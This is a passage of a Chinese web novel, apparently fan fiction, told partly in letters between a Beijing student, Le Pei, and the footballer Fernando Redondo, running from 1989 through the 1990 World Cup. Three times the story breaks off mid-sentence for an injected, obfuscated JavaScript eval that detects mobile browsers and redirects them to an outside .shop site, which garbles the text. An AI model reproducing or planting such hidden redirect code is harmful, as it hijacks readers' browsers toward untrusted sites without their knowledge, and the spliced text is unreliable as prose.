抱歉没能第一时间给你写信,一直等到在学校里安顿下来才开始动笔。我们马上就要正式上课了,在我写这些话的时候,还不知道这封信到底能不能送到你手上,也不知道路上会花费多长时间。希望你能顺利收到,当你看到这些文字的时候,布宜诺斯艾利斯会是一个美好的晴天吗? 大学生活真的像你说的那样,和从前的生活完全不同,老师们也会说,“这是我们离开家人的第一步”,需要我们好好适应成年人的身份。我倒不觉得有什么困难,大概因为这个夏天(或者说冬天),我已经离开家在布宜诺斯艾利斯旅行了一个月吧(笑脸)。我的大学校园很漂亮也很大,学校旁边有一个火车站,但是去年站台拆掉了,所以不会再有火车经过,学姐说以前她们经常被火车的声音吵到睡不着觉,真高兴我今年才来上学。 学校的老师都很友善,他们说上课的内容很简单,希望真的如此。跟我同寝室还有三个舍友,来自不同的地方,虽然我们各自说话的口音不同、生活习惯不一样,但是大家相处得很愉快,让我一点都不会想家。学校食堂里的饭又便宜又好吃,有时还能吃到牛肉,是和牛排不一样的做法,我想你一定没吃过那样的味道。 校园里需要骑车,我的室友没能买到女士的自行车,只有又高又笨的大车,所以她同意我骑车载着她一起去上课,刚好替我省了一笔买自行车的钱。学校里有很多教学楼,我还没来得及完整游览校园,但我已经喜欢上这里了,道路两旁树叶茂密,八月份的北京天气炎热,大家都躲在树荫下吹凉风。 和你见过的上海一样,北京也是一个充满活力的大城市,可惜我只在来学校的那天短暂地路过,有些路和七月九日大道一样宽敞,街上永远都有很多人,这要比布宜诺斯艾利斯更热闹一点。想到我还可以在这里生活五年,我相信我总有机会看到这座城市所有的风景。 宿舍楼旁边有一个刚刚建好的操场,跑道中间有一块标准足球场,据说上面铺的是真草,真草会更好吗?等到二年级我们就可以选专项的体育课了,如果我想报名足球课,会不会太难了?我担心我学不会,虽然看你踢球的时候总觉得足球很简单。 你们的俱乐部比赛已经开始了吧,相信你们一定一直在赢球,真希望能现场看一次比赛。你送的这支钢笔非常好用,再次谢谢你,我会好好保管的。期待能收到你的回信! 来自乐佩写于夏天还未结束的北京 1989年9月8日 雷东多将信反复看了好几遍,在文字的带领下他好像又回到了几个月之前的冬歇期,回到了胡安之家门口那条人不算太多的街道。深埋在心底的记忆重新活了过来,那些他和乐佩相处的时刻仿佛就在昨天。 他想起自己曾看见乐佩骑着她叔叔的自行车,开玩笑说能载得动他。当时处于男生的矜持雷东多没有同意,现在又忍不住去想乐佩骑车的模样。 她当然能载得动,雷东多不会怀疑这点。虽然乐佩看上去瘦削,但她很有力气,超市里那么重的箱子也能轻松抬起来。还有那辆笨重的自行车,乐佩管它叫“大驴”,雷东多觉得这个外号诡异地贴切。 乐佩还想要学足球,雷东多读到这里的时候嘴角不自觉地上扬,足球虽然看上去只需要用脚去踢球,但真正想踢好并不容易,但他相信乐佩那么聪明肯定能很快学好。 信中字里行间都透出写信人的愉快,雷东多摩挲着画在信纸上的那个可爱的笑脸,他一瞬间甚至产生了一个荒谬的想法,上大学似乎很有意思。 不过他很快清醒过来,他现在就是大学生,他宁愿踢一整天球也不愿意去上课,除非有乐佩和他一起去...... 雷东多花了快一周的时间写好回信,这期间他去马德罗港旁边两人曾经散步的花园里拾了不少掉落的蓝花楹花瓣,同样做成了干花签,又买了两张有蓝花楹的风景明信片,随信一起寄出去。 莱昂纳多在他寄信的时候终于确定自己弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891302|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟在玩一种很时髦的东西,“所以你纠结了这么长时间,其实只是认识了一个笔友?” “算是吧,”雷东多仔细地贴好信封上的邮票,拒绝了哥哥的跑腿提议,决定自己送到邮局去,“你这么感兴趣,也可以自己找一个。” 哥哥摇着头走开,“我没你这么无聊......都什么年代了,笔友能干什么,说不定哪天就断了联系。” 雷东多听见了他的碎碎念,没有接话。他也不知道笔友能维持多久,在誊写信的正文时,他去掉了开头称呼里的‘dear’,因为乐佩也没有这么写。 或许他们能一直通信,直到等到有机会再次见面,亦或者今后再没有乐佩的来信,担心这些毫无意义,他只要知道自己始终期待着这样一封信就够了。 致乐佩 很高兴收到你的来信,祝一切都好。 我在11月初收到了你的来信,看来信在路上要走将近两个月的时间,我猜等你收到这封信的时候,已经是1990年的1月了,现在说要祝你新年快乐有点太早,我希望你在今年的最后两个月都能顺利。 布宜诺斯艾利斯现在正是春天,之前和你说过的蓝花楹正在开放,大家喜欢去有花的街道散步,马德罗港的公园准备办一个户外音乐节,如果演奏的是R&B的话,我会很乐意去听一听,希望不要是摇滚乐,那太吵了,不适合公园安静的风景。 你在信中说你喜欢大学的日子,我知道无论去哪儿你都能适应地很好,就像你在这边,那么快就能听懂许多西班牙语一样。足球也没有那么难,只要你能从中感受到运动的快乐。阿根廷不鼓励女子足球比赛,布宜诺斯艾利斯的大学也没有给女生开设的足球课,我始终觉得这样的规定不应该出现在大学校园里。你能在学校里上足球课,我想当你做出这个决定的时候就已经成功一半了。 足球场大部分时候都需要用到真草,真草和土壤能保护运动员在做动作的时候不至于受伤,塑胶草皮太硬了,在上面打滚很不舒服,当然我们并不会故意在上面打滚。 俱乐部的比赛成绩没有太大的波动,我们会赢下一定能赢的比赛,但是在面对更强大的对手时,场上有太多不确定因素了。曾经我很苦恼我无法赢下所有比赛,但足球就是这样,我只能想办法让自己在下一次的比赛中做得更好。或许我该庆幸你没有去看春天开始的那第一场比赛,因为当时我们就没能赢下来...... 万圣节刚刚过去,这是从欧洲美国传过来的新节日,很多人会在当天晚上去夜店开化妆派对,说实话我不太喜欢这种庆祝的方式,他们这些过节的人从不在乎万圣节的含义,只是想要找机会逛商场开派对而已,这个季节阿根廷的南瓜根本不会成熟,头上顶一个塑料南瓜真的很蠢。我更习惯万圣节第二天的亡灵节,这是我们的传统节日,祭拜逝去的亲人是一件严肃的事,在前一天的派对上喝多了酒导致睡过头会很过分。 在你收到信的时候,我们大概刚刚庆祝完圣诞节,那时候正是夏天,平安夜的户外烧烤最值得期待,还有午夜的烟花,你能想象到穿短裤的圣诞老人吗? 我也很想看看北京的样子,书上说那是全世界最大的几个城市之一,我想她一定很壮观。很高兴那支钢笔你用得顺手,期待你用它继续写信来。 来自费尔南多写于夏天即将到来的布宜诺斯艾利斯 1989年11月17日 17.信笺(17) 北京几乎没有秋天,两场雨过后,还不到十一月,就冷到了和老家冬天时一样的温度,不过除了偶尔会刮起吹倒一片自行车的大风,乐佩觉得这样的温度不算特别折磨。 以前在家的时候,冬天是一段很难熬的日子,不到十度的气温,空气里挥之不去的潮气。就算家里有火笼,乐佩也蹭不到太多温度。身上的棉袄棉鞋都是别人换下来的,硬成小坨的棉花起不了防寒的作用。 最冷的几年她长过冻疮,稍微长大点后家里条件也好了些,但每到冬天她的手脚还是会发痒发凉,冻疮留下的暗斑直到这两年才慢慢消退。 布宜诺斯艾利斯的冬天要舒服太多了,气温更高,白天有太阳的时候甚至穿不住厚外套,就算夜里凉,叔叔给她准备的房间也根本不怕这些。 如今在北京,人人都说冬天冷得要命,乐佩还是觉得比家里强。她除了每月按时给家里寄钱,又用自己当家教赚的钱买了一件新棉袄,毛衣毛裤也提早备下了,林亦舒会打毛衣,乐佩跟着她学了几天,给自己打了一条红色的围巾。 她还买了暖水袋,十月底最冷的时候,她的手也没有像往年那样发痒。等到十一月宿舍来了暖气,除了见多识广的顾晓薇,剩下三个女孩儿每天都要摸一摸墙边的暖气片,新鲜劲怎么都过不去。 “这真是个好东西!”沈静只要在宿舍,总要伸着手在暖气旁边烘上半天,直到脸红彤彤的热起来才作罢。 她也是北方人,但家里这两年才说要分新房,以前冬天只能靠炉子取暖,就算有厚衣服,也冷的要命。 林亦舒和乐佩更是只想赖在学校不走了,不过她们现在没有待在房间里暖和着,窗外墨色的天空下纷纷扬扬飘着雪花,地上早就有了厚厚一层白色,两个几乎没怎么见过雪的南方人根本坐不住。 顾晓薇嗑着热乎乎的糖炒栗子,听见外面南方人见到雪嘻嘻哈哈的声音,又无语又好笑,“她们真是不怕冷,这种天气出去待一秒钟我都嫌费劲!” 沈静认同地点头,不过,“难得看到小佩这么开心,她平时太忙了,我还以为她除了学习没有别的爱好呢。” “真可怕,小佩平时那么机灵的一个人,居然问我温度到了零下为什么不立刻下雪?”顾晓薇啧了一声,转头看见沈静疑惑的脸,“对呀,我好像从来没有想过这个问题!” “零上的时候北京难道每天都在下雨吗?!” 彻底入冬之后,每天下午四点的体育活动大都转到了室内,乐佩的足球还没学两天,现在变成了和朋友们踢毽子,也没多大差别。 之后临近年末,同学们开始为期末考试发愁,连体育运动的时候都一个个坐在角落里看书。图书馆早上开始有人过去排队,宿舍过了十二点也不再断电,方便大家学习。 课上讲的东西越来越深,乐佩需要花更多精力好好消化,舍友们就更难了,尤其当最后一节课老师拒绝划重点之后。 林亦舒因为什么都学不会大哭了一场,就连永远都笑呵呵的顾晓薇也开始失眠,乐佩原本没有担心过考试,都被她们整焦虑了。 整个期末周姑娘们都过得天昏地暗,乐佩复习的时候给舍友帮了不小的忙,当最后一门考试终于结束的那个傍晚,大家都仿佛才活过来一样。 五点多天已经快黑了,头顶有一大群乌鸦嘎嘎叫着飞过,以前讨人厌的声音现在听起来也变得悦耳,沈静说要一起出南门下馆子,大家都同意了,只是要先回宿舍放东西。 刚进宿舍楼的大门,保安阿姨叫住她们,“这里有你们寝室的信,但是不知道给谁的,上面全都是英文。” “英文?我们什么时候这么潮流了?”林亦舒开了个玩笑,她们都很意外,只有乐佩精神一振,快步走过去接了信。 姑娘们的脑袋凑了过来,“这是谁写的信?小佩你好厉害,居然能收到英文信!你认识外国人?诶,收件人的名字怎么怪怪的?” 乐佩不好意思地笑了笑,“是我叔叔寄来的,他在国外,所以信封上得写‘英文’,不然当地的邮局看不懂。” 国外的叔叔成了这天晚饭桌上的谈资,其他人都没有这样的亲戚,更别提出过国。乐佩讲了自己在布宜诺斯艾利斯超市打工的事,大家听得津津有味,阿根廷和她们预想的国外不太一样,但也很新鲜。 乐佩等到没人的时候才看了信,她不算完全撒谎,叔叔和她之间也会写信,但只有雷东多的信封上不会出现中文。 现在确实已经是1990年了,明信片上明媚的春色和窗外肃杀的景象对比鲜明,光秃秃的枝干在北风里晃动着,乐佩只觉得春天就要到来了。 她不着急写回信,宿舍只有一张公共课桌,夹在两张架子床之间,姑娘们之间没什么私密空间。开学时的那封信是她坐在操场旁边写的,现在乐佩要等没人的时候再动笔。 考完试之后就是寒假,沈静和林亦舒早早回了家,乐佩一早就决定在宿舍里过年,只要钱寄回去了,家人也不在乎她会不会回去。 让人意外的是顾晓薇也迟迟没有离开,哪怕她家离学校坐公交车只要一个多小时。她有自己的道理。 “过年还有好多天,你一个人在宿舍里太冷清了,我想陪陪你不好吗?而且我回家了还得做家务,爸爸妈妈也嫌我烦人。” 乐佩很高兴,虽然她嘴上没有说出来。顾晓薇是学校里第一个对她释放善意的人,找家教的事她就帮了许多。乐佩于是给她也打了一条带花样的围巾,比自己的还好看些,她们又连着泡了两个星期录像厅,看完了一整部去年才开播的港剧《义不容情》。 两个女孩儿的关系突飞猛进,于是当顾晓薇发现她难得开始写信,问她是不是要寄回家的时候,乐佩直截了当地摇头,“不会,家里人没什么好说的。” 顾晓薇善解人意,她能感觉到乐佩和家人的关系并不算好,能考上这样好大学的孩子,很少有人家里像乐佩这样,一分钱都不给,反倒要她想办法贴补家用的。 只除了那个远在阿根廷的叔叔,乐佩只有说起他的时候脸上带笑,所以,“这是寄给叔叔的吗?” 乐佩迟疑了一下,“算是吧?” “那就不是!”顾晓薇的眼睛亮了起来,她凑过来,看见了之前收到的那封夸洋而来的信,信纸上是密密麻麻的英文,还有两张漂亮的明信片,以及背后粘着的紫色花朵。 “是不是你在阿根廷认识的新朋友?好漂亮的花,我猜她一定是个心细的女孩儿。” 乐佩闷笑了一声,在顾晓薇看过来的时候又连忙稳住神色,这次她说的很笃定,“算是吧!” 顾晓薇的感叹直到乐佩开始写信的时候也没有停过,“真的好浪漫,在那么远的地方,还有一个你认识的朋友,你能通过她的信知道在隔了一整片大洋的另一篇陆地上发生了什么,他们那里有没有下雪......我也想要一个这样的笔友!” “呃,其实阿根廷现在是夏天。” “啊啊啊更羡慕了!” 乐佩安慰她,“你也会有的,你的英语说的比我还要好,以后总有能出去交流的机会。” 顾晓薇看着她手边翻开的词典,浮想联翩了好一会儿,最后还是趴回桌子上,“就算我能出去交流,也不一定能认识一个愿意等几个月只为看我一封信的朋友。” 乐佩没再说话,收到信回信时的兴奋这么多天都没有消散过,让她觉得之前那几个月等待的焦虑根本算不了什么,她摩挲着手中的钢笔,直到一滴墨滴到信纸上,她才回过神,小心翼翼地擦掉多余的墨渍。 她在信里写北京的冬天和布宜诺斯艾利斯不一样,写自己第一次见到雪的兴奋,和路上冻之后骑车打滑差点摔跤的狼狈。她写期末考试很难捱,大学在这种时候没有想象中那么友好。 她还抱怨学校食堂吃多了之后就变得不好吃了,有点想念在布宜诺斯艾利斯吃过的烤肉,在北京大家不过圣诞节,他们的新年在一月底,不论怎么说,跨年之交的节日都和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896098|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏天联系不起来。 一来一回四个月会发生太多事情了,她在信里感叹,她现在去带家教,明明没差几岁但她已经搞不懂现在的小姑娘在想什么,电视上的广告似乎也比学习更有意思。 ‘足球实在难踢,你在信中对我的期望让我很惭愧。’乐佩写到这儿的时候自己都笑了,她确实没什么运动的天赋,跑得也不快,不过大家的水平臭得半斤八两,都只当放松去玩,没人认真。 报刊亭的体育报纸上足球版面的消息是最多的,她怀疑编辑是马拉多纳的球迷,总给他最大的版面。今年夏天据说有世界杯,专栏已经在预测阿根廷的参赛大名单了,乐佩祝愿他实现自己加入国家队的愿望。 这次的信比上次长不少,乐佩写完才觉得自己会不会话有点太多。她在信封里照葫芦画瓢,放了两张北京的景色明信片,这是她寒假去故宫才买来的。 这年的春节乐佩第一次独自一人,她觉得比以前所有的新年都更自在,她还应顾晓薇的邀请去她家里拜了年,万般不好意思地收了叔叔阿姨的红包,还陪着顾晓薇的爷爷奶奶学会了打麻将。 在学校过年的大有人在,同宿舍楼都有十来号人,食堂里的饭菜没有断过,除夕夜更是免费开放让大家去吃“年夜饭”,之后还能去小礼堂看春节联欢晚会。 乐佩唯一不习惯的就是吃不到家乡过年常吃的年糕和春卷,她不太爱吃饺子,但学校里每个还开放的窗口都乐此不疲地给大家煮饺子,害她一连吃了好多天。 学校在新学期第一周公布了上学期的成绩,非常有效地将同学们从放假的快乐中‘解脱’出来。乐佩没有问室友具体考了多少分,不过看她们的脸色,应该都考得还算满意。 她去教务办公室领成绩单的时候,老师欣慰地鼓励她,“你是全系年级第一名,系里的老师都很看好你,这学期继续加油啊!” 乐佩没有骄傲,从小到大她的成绩都名列前茅,即便如此也得不到周围人的认可。如今大学一年级都是公选课,是她熟悉的科目,所以一次考试成绩好不算什么,她反倒担心第二年接触专业课之后自己会跟不上。 舍友都比她更兴奋,纷纷表示新的学期乐佩一定仍然没问题,她们就指望她了! 开学之后时间过得飞快,乐佩已经彻底适应了在北京的生活节奏。家教换了新学员,收入没有变少。学校在春天开满了花,漫天的花粉害得她天天打喷嚏。 那本英文的百年孤独终于读完了,乐佩在图书馆淘到了更多与拉丁美洲相关的书。学校的英语课给大家锻炼口语,老师对她敢于开口印象深刻。 带他们踢足球的学长换了人,话变多了但是技术没有进步,乐佩跟着他认识了几个同年级的男生,其中还有一个和她一样在计算机系,不过踢球的时候男女分队,那个人的名字不好记,乐佩总是对不上号。 世界杯6月8号开幕,举办地在意大利。进入五月,足球队不论男女都开始期待这场盛会,乐佩在大家的念叨中被迫知道了不少参赛国的信息,虽然他们说的每个名字乐佩都不知道是谁,除了马拉多纳。 “‘马拉多纳批评了没有接受阿根廷国家队征召的新人,认为他不把国家荣誉放在心上’,这说的是谁?” 这天活动结束后,乐佩听到几个男生又凑在一起看报纸,她被‘马拉多纳’和‘阿根廷国家队’吸引了注意,放慢了喝水换鞋的速度。 这条古怪的新闻立刻引发了大家的讨论,“居然有人会拒绝去踢世界杯?这可是有马拉多纳的阿根廷,卫冕冠军!该不会是标题胡说八道吧。” “既然是新人说明没那么重要,在国家队对多当个替补,连上场的机会都没有。” 最开始说话的男生扫了一遍正文,“是在阿根廷国内联赛效力的新人而已,叫费尔南多·雷东多,我都没听说过这个名字。哎呀,那就没什么好说的了。” 乐佩回头,第一次出声打断他们,“你们说的是......雷东多?” 18.信笺(18) 文彦恺认识乐佩,或者说在计算机系所有人都听说过乐佩的大名,虽然院系为了保护大家的心理健康没有公开过年级排名,但总有好事的人能打听到第一名的名字,然后在同学之间流传开。 同年级不少男生在军训的时候就注意到乐佩了,因为她长得漂亮。第一学期开学后,虽然公选课不按院系排课,计算机系的男男女女不常碰面,仍然有一部分人保持着对乐佩的好感。 反倒是这学期男生们不再议论乐佩了,大概是被乐佩的成绩打击到了自信。文彦恺也是其中之一,不过他更多是觉得自己没机会,乐佩很少参加院系的活动,看上去就不像是想谈恋爱的样子,而且自己来踢足球这么久了,两人还是没说上话。 但是今天,乐佩出人意料地接话了,趁着其他人没反应过来,文彦恺已经将报纸递了出去,“是叫雷东多,你要不要看看?” 乐佩谢过他,仔仔细细地将那一小片字看了一遍,文彦恺后知后觉地意识到,原来乐佩还是对国际足球有些了解的,她之前不参与大家的聊天大概只是因为对话题不感兴趣? “你知道这个雷东多吗?他好像还没登陆欧洲五大联赛,不过如果比拉尔多征召他,说明他还算有点水平?”文彦恺搓了搓手,主动搭话。 “我......也不太了解,只是好奇世界杯的征召居然会被拒绝,有点少见对不对?”乐佩抬头看他,客气地笑了笑,“这是今天报刊亭的报纸吗?” 文彦恺连连点头,立刻猜到乐佩想要做什么,他避开了乐佩送还报纸的动作,大方地表示她可以直接把报纸带回去,“这要不了几个钱,何况我们还是同学!” 乐佩迟疑着,直到文彦恺说了名字,她尴尬地道了谢,这次她终于记住这个男生的名字了,也没有拒绝他提议世界杯期间一起看比赛的邀请。 这篇报道里的内容实在少得可怜,雷东多对于中国的体育记者来说确实是个新名字,国内也没有能看到阿根廷联赛的渠道,这个年轻人唯一出现在报纸上的原因只是因为马拉多纳。 乐佩看不到雷东多拒绝征召的原话,就连马拉多纳的批评也经过几手翻译加工,根本不可信。 她很想知道到底发生了什么,雷东多渴望进国家队,如今拒绝肯定有他自己的理由。被国家队的前辈批评,消息甚至传到了相隔万里的中国,他的日子恐怕不好过。 但是乐佩什么都做不了,甚至雷东多的回信还没到,就算拿到了,那也是一封两个月前的回信了。她只好无奈地先写下了自己的疑问和关心,不论事态怎么发展,这些话她都要写在回信里的。 雷东多的信没让她等太久,这次楼长记住了英文信直接交给她。乐佩拿到信之后第一时间拆开,她的英语水平在这一刻突飞猛进,不用词典也将雷东多的意思看懂了七七八八。 “我确实听说了一些消息,也接到过比拉尔多先生的电话。虽然最近一次国家集训队我并没有入选,但他很可能征召我进入国家队,参加即将在意大利举办的世界杯。” “从我开始踢球,加入国家队为阿根廷赢得荣誉始终是我最大的心愿,我热爱蓝白色的球衣,刚刚在胸口绣上的那第二颗星对所有足球运动员来说都有无穷的吸引力,我也不例外。” “但在梦想即将实现的此刻,我却并不感到激动,我知道自己就算进入国家队也没有什么出场时间,比拉尔多的战术构想里没有我的位置,我不想到了意大利却只能围观队友的成功,哪怕这是所有新人的必经之路。” “这样的想法实在自私到糟糕的地步,国家队的荣誉面前个人的考量理应不值一提,所以当我心中冒出另一种不愿意参加的声音时,连我自己都感到震惊,” “或许是我想的太多了,现在一切还没有定论,比拉尔多先生还没有发出正式的邀请。我不太愿意去想,但最终教练不愿意带我去意大利也并非不可能。” “我知道等你收到这封信的时候,一切都已经有了结果,而等你再来信的时候,说不定我也离开了如今所在的俱乐部。 “目前我确实有转会的打算,只是俱乐部的态度好像有些消极。太多事情需要我做出选择,我一向不喜欢做决定时拖拖拉拉的人,但现在我也成了这样的人。” “我需要你的回信,乐佩,你觉得我应该怎么做?” 现在确实一切都有了结果,乐佩对两人之间长达两个月的时差第一次直白地生出厌烦。她知道自己现在说什么都迟了,但还是删删改改写好了回信。 等信到雷东多那里,世界杯都已经结束,雷东多也不会再像写信的那一刻那样纠结,在所有事都回归正轨的时候,他收到自己的这封信,难道不是徒增烦恼吗? 乐佩心中的不虞没有持续太长时间,一封信对人的影响终究是有限的,距离他们最后一次见面已经过去了快一年的时间。乐佩意识到,除了那张照片,雷东多的模样在记忆中已经模糊,他们很难再见面了,事情最终会像她当初预想的一样,他们变成了相隔万里的笔友,活在对方的过去,仅此而已。 她再无奈也束手无策,乐佩甚至没有时间为这个自己刚刚发现的事实难过,春天即将结束,在为自己的小情绪伤春悲秋之前,她先要参加期末考试。 这学期的课程不如上学期难,但乐佩的压力大了许多,人人都盯着她的考试成绩,她也不想让已经记住她名字的院系老师失望。 期末考试结束的时候,世界杯小组赛已经过了两轮,乐佩见识到了这项盛会对球迷的意义,她不再需要跑去报刊亭才能看到比分,每天在食堂都能听到大家议论各支球队的声音,宿舍楼的告示栏贴着观赛指南,学校还贴心地开放了带电视的教室让大家看直播。 在众多球迷中喜欢阿根廷的人占了多数,毕竟这是卫冕冠军,马拉多纳又在刚刚结束的赛季带领那不勒斯第二次拿到意甲冠军。如今电视上只转播意甲,对于中国的球迷来说,他就是当之无愧的世界第一。 只是阿根廷在小组赛前两轮的成绩有些起伏不定,第一轮爆冷输给了喀麦隆,第二轮战胜苏联的同时,喀麦隆又拿到了三分,因此第三轮面对同样有三分的罗马尼亚,阿根廷就算拿到平局也有不能出线的风险。 比赛都在半夜,乐佩没有不睡觉去看球的激情,她是在第二天去食堂吃饭的时候,才知道比赛结局,因为有几个窗口在卖打折西瓜,说是为了庆祝阿根廷出线。 “真是夸张,这让喜欢其他球队的同学们怎么办?” 顾晓薇这些天被世界杯的气氛感染了,但她还是觉得食堂这样做不太合适,乐佩也说不出个所以然,“大概阿根廷的那些对手没有名气,所以其实没有喜欢他们的球迷吧。” 或许是被投诉了,西瓜打折只存在了半天。之后当阿根廷一路艰难地赢下巴西、南斯拉夫和意大利晋级决赛的时候,食堂都没有再推出过什么活动。 乐佩这次总算真的答应了文彦恺的邀请,决定去线下看阿根廷和联邦德国的决赛,顾晓薇听说了也要去凑热闹,她要看看足球比赛到底有什么魅力,让那么多人能不知疲倦地念叨一个多月。 “其实我也不知道足球有什么好看的。”当她们半夜坐在人头攒动的教室里,等待比赛开场的时候,乐佩面对顾晓薇的疑问,只能这么回答。 “那你为什么喜欢看足球?”顾晓薇好奇探头,她的目光在乐佩和就在旁边不远的文彦恺身上转了一圈,压低了声音,“难道是因为他?” 乐佩没好气地拍了她一巴掌,“你不要胡思乱想,我叔叔是阿根廷球迷,我去年跟着他看了好几场比赛呢!” “好吧好吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902049|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那你也像他们一样支持阿根廷吗?” 顾晓薇指了一圈周围,她们被阿根廷球迷包围了,有些人身上还穿着10号蓝白色球衣,比赛还没开始,大家正在激情讨论阿根廷夺冠的可能性,马拉多纳会进几个球。 有人在说,“四年前阿根廷就能将西德斩落马下,今年同样没问题。” 但是四年前阿根廷在淘汰赛的表现比现在好多了,至少他们当时没有连踢两场点球大战,电视上的解说分析着阿根廷球员的体力劣势,但是在座的球迷没有人理会。 很难说乐佩到底支持谁,虽然她知道叔叔肯定很期待这个冠军,但就算阿根廷输了,他也难过不了太长时间。乐佩又想到雷东多,如果阿根廷真的赢下最终的胜利,他这个赛前为了‘上学’拒绝国家队征召的新人,大概又要被拿出来嘲笑一番。 但乐佩相信雷东多肯定不会因此就不去支持自己的母队,阿根廷取得越来越多的荣誉,他只会高兴。其他人的评价他不会在乎的,乐佩想到雷东多说起为国效力时脸上的向往,他会等到自己亲自赢下来的奖杯。 “我大概也不希望阿根廷输掉比赛吧。” “那我就支持西德好了,”顾晓薇看热闹不嫌事大,“哪有球队一直拿冠军,那太没意思了,而且连续两届都能进决赛,说明西德队也很厉害,我真意外居然没什么人支持他们。” 文彦恺贴心地给她们拿来两瓶水和一袋瓜子,“支持西德的球迷在楼上,不过他们只有一间教室,我们阿根廷球迷可是占了三间。” 顾晓薇假装很懂地点点头,直到文彦恺坐回一边,听不见她们说话了,她才没好气地耸耸肩,“球迷人数多难道就能赢吗?那我们早该进世界杯了......不过文彦恺挺细心啊,你怎么看,你觉得他长得怎么样?” 乐佩知道她又开始八卦了,不过还是顺着她的话偷偷瞄了眼和她们隔了一条过道的男生,“还可以?至少他很干净,懂得收拾自己。”这在沉迷学习的男生中算一个巨大的优势。 而且文彦恺个子高,只是身上肉不多,好像更适合坐在教室里。他的长相挑不出错来,浓眉大眼,嘴角似乎天生就是上翘的,看上去很有亲和力。 “哦哟,是不错呦。”顾晓薇嘿嘿笑起来,“虽然我觉得他太白了,太文气不够强壮,我喜欢运动款的,不过你觉得好就好啦!” “谁说运动员里就没有优雅的?你这是刻板印象。” 乐佩完美地抓错了重点,她们明明在议论身边的男生,她的脑海里还是不受控制地浮现出另一个身影。 顾晓薇没有意识到她走了神,电视上两支球队走上球场,教室掀起一阵欢呼,她看着镜头先后扫过阿根廷和西德的球员,“哪里有优雅的?我怎么没看到。诶!他看着就不错,这个身材我喜欢。” 听到这句话乐佩才回神,果然八卦有无穷的力量,她看到了电视上那个球员,当然不认识是谁,这不妨碍她凑到顾晓薇耳边,“我记得我们班上有个男生,他不就长这样吗?” 她悄咪咪说了个名字,顾晓薇嘿嘿笑出了声,立刻又觉得不好意思,手伸向乐佩腰间抓她痒痒,“胡说八道什么呢?这是能在公共场合说的话吗?” 乐佩没躲开,连连求饶,“我错了,等回去了我们再说!” 这场比赛阿根廷最终0-1输给了西德,球迷们有人在骂西德队那粒点球是假摔,有人看到马拉多纳哭了之后也跟着哭,楼上的欢呼声传下来,让气氛更加低迷。 顾晓薇都不好意思夸耀自己的眼光好了,乐佩也有些惆怅,两人面面相觑,悄无声息地离开了教室。 文彦恺追了出来,虽然他还在为阿根廷难过,还是坚持要送两个女生回寝室,哪怕天色已经蒙蒙亮了。顾晓薇听着乐佩和他说话,默默向后让了让。 19.信笺(19) 致费尔南多: 在收到你的信之前,我在报纸上已经读到了你放弃了国家队的征召去参加世界杯的消息,当然重点在马拉多纳身上,相隔一片大洋,马拉多纳在我们这里的球迷中间也有巨大人气,想必会让你感到意外。 说起来,这还是我第一次在报纸上看到你的名字,只可惜不是个好机会,在我看来,你应当因为出色的球技为人所知,而不是夺人眼球的场外消息。 说实话,虽然我对于你的决定有点意外,但报纸这么大肆宣扬,甚至消息传到了并不了解阿根廷联赛的中国,着实有些夸张。你曾经抱怨说媒体是惹人厌烦又难以摆脱的场外声音,就像打不死也赶不跑的飞虫,现在我理解了你的意思。 过去每当我在报纸上看到各种八卦和小道消息时,只当看热闹,只有当我认识的人变成被八卦的对象时,我才渐渐意识到流言蜚语的杀伤力,我相信你不像报纸描述的那样,“做出了一个不理智的决定”,我也相信你不会被这些传言影响,但我还是忍不住会担心你的心情,希望你不会把这些‘无聊的噪音’放在心上。 然后我收到了你的信件,你已经做出了选择,我不觉得这有什么不合适。相反,我能想到你会坚持自己的想法,当你面对出现的机会开始犹豫时,说明你已经在潜意识里预见了这次机会背后可能给你带来的损失。我们这边有一个道理,事情的好坏在不同的情况下是会发生变化的,所以一个人做出的选择从来没有确定的对错,其他人的评价也只是他们自己的观点而已,并不是声音大就等于正确。 而且我想你不会因为这次拒绝就失去之后再次进入国家队的机会,你一定也不会担心这一点,那就没什么好为难的。你说过球员应当有自己的思考,为自己的职业生涯负责,教练虽然在球队中有重要的地位,也不代表球员应当完全听从他们的指示。 我还记得我们去看《罗密欧与朱丽叶》时,你认可罗密欧坚持了自己看重的东西,真高兴你现在做出了同样的选择。或许可以假设一下,如果这次世界杯阿根廷拿到了冠军,再给你一次回到过去重新选择的机会,你会改变如今的决定吗? 其实你不应该来问我的意见,对我来说学业比踢足球重要的多,大学毕业的机会只有一次,世界杯每四年都有(?)。好吧我是在开玩笑,不过上学不比踢世界杯容易多少,希望你现在没有再受到论文和作业的困扰。 ...... 